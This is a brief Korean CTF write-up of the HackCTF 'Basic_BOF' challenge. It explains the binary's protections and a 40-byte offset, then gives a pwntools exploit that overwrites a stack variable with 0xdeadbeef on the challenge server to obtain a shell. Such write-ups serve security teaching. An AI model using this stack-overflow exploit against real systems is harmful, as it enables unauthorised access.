Wargame/HackCTF
Basic_BOF
Anatis
2021. 3. 8. 01:27

HackCTF의 첫 번째 문제인 Basic_BOF이다.

checksec을 통해 보면 RELRO가 Partial RELRO이고 Canary는 없고 PIE도 설정되어 있지 않다.

코드를 보면 45바이트 만큼 입력 받을 수 있고 s와 v5의 오프셋은 0x28이다.
그렇다면 s로 부터 40 바이트 만큼 더미값을 주고 0xdeadbeef값을 넣어주면 쉘을 획득할 수 있을 것이다.

exploit code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3000)
payload = 'A'*40
payload += p64(0xdeadbeef)
p.send(payload)
p.interactive()